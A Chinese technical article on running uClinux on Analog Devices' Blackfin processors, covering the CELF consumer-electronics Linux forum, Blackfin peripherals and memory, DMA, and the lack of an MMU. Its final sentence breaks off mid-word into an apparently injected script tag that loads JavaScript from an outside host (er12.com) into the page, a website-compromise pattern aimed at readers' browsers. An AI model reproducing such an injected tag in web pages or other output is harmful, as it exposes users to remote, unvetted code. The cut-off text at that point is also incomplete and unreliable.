嵌入式微处理器的嵌入式操作系统-uClinux

在过去的两年中,随着嵌入式设备的发展改进,linux操作系统受到了越来越多的青睐,尤其是用于消费产品、电讯路由器和交换机、网络产品、工业和汽车等应用。

  最近,一些大的消费电子公司达成协作,建立消费者电子linux论坛(celf),以进一步开发家庭数字电子设备的linux平台。celf的发起者(matsushita electric、sony、hitachi、nec、royal philips electronics、samsung、sharp和toshiba)将重点放在linux的改进上,使之成为消费电子设备的开放源代码平台。同样,他们对开放源代码协会的精神也给予了积极的支持和发扬( 要获得更多信息,请访问www.celinuxforum.org) 。

  嵌入式linux的优点在于它的版权免费、源码开放、结构紧凑,这为日益增长的应用软件基础提供了坚实的后盾。linux是一个全功能的操作系统,支持各种网络和文件处理协议,这对嵌入式系统来说是很重要的,因为它必须在任何时间任何地点进行计算。linux采用模块化结构,通过去除嵌入式系统中不必要的实用程序、工具和其它系统服务,它可以很方便地实现结构精简。在嵌入式设备市场中,采用linux的公司可以更迅速地将产品推向市场,更快地增强产品的可靠性。对开发者来说,ad的blackfin?处理器和uclinux的结合也许很有吸引力。blackfin?处理器集合了dsp的计算能力和微控制器的功能,满足了数字音频、视频和通信方面的应用需求。

  我们在单块芯片上结合一流的dsp内核和传统微控制器的体系结构,避免了其它传统复合处理器系统的限制性、复杂性和高成本的问题。在已有的外部设备(spi、带irda? 功能的uart、定时器、实时时钟(rtc)、看门狗(watchdog)和事件控制器(event controller))的基础上,所有blackfin处理器家族提供双通道串行接口(sports)---每个串行接口支持4个立体声i2s通道,数据速率达100 mbits/s。而且blackfin处理器家族的最新成员(adsp-bf531、adsp-bf532、adsp-bf533和adsp-bf561) 提供并行外部接口(ppi),实现tft平板显示器和视频转换器(ccir-656, 27 mhz)的无缝连接,或者作为ad/da转换器的并行接口,速率达65msps。

  其它封装也是可选的

  所有的blackfin处理器都艺术地将最先进的信号处理引擎和清晰正交的类risc微处理器指令集以及支持simd单指令多数据的多媒体功能复合成一套单指令集的结构,称之为微信号结构(msa)。该内核是调整的双-mac harvard 结构,这种结构旨在实现音频和视频算法的非并行计算,以及实现操作系统中标准的程序流和常用的仲裁操作。

  blackfin 的adsp-bf531/bf532/bf533处理器有两个大的片内存储器块,提供通往内核的高速通道。这些内存块可以适应处理器内核的最高速度。它们位于内核的旁边,称为l1存储器,可以配置为数据或指令静态处理器(sram)或高速缓冲存储器。当配置为高速缓存时,处理外部sdram的代码的速度非常接近内部存储器直接处理的速度。这个特征特别适用于uclinux内核的运行,因为它没办法被全部装入内部存储器。而且,当使用c语言编程时,可以通过使用高速缓存来最大优化外部存储器到内核之间的存取。

  blackfin处理器采用低电压,低功耗的设计,具备动态电源管理功能。完全满足目前的移动和电池供电需求,其它的处理器都无法做到这一点。blackfin处理器配有多重的、高度灵活和独立的直接存取控制器(dma),用来支持自动数据传输,并使处理器内核受到的间接影响达到最小。

  dma 的传输操作可以发生在adsp-bf531/bf532/bf533处理器的内部存储器到与有dma能力的外部设备之间。而且,dma传输也能够在dma外部设备和连接到外部存储器接口的外部设备(包括sdram控制器和异步存储控制器)之间进行。

  linux和uclinux的区别?

  由于linux和unix相似,是多用户、多任务的操作系统,内核必须采取特殊的防范措施,以保证同一系统内来自不同用户的上千个操作正确安全地运行。unix的安全模型(即linux之前的设计)能够保护每个用户操作的自身环境和地址空间。每个用户操作都受到保护,防止被其它用户唤醒,而且,虚拟内存(vm)系统对现代cpu还有另外的要求,比如在个人处理内存中实现动态内存分配和随机内存区域规划。有一些设备,如blackfin 处理器,没有提供全功能的mmu内存管理单元,因为开发者的应用程序并不使用操作系统,通常也不需要mmu,?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计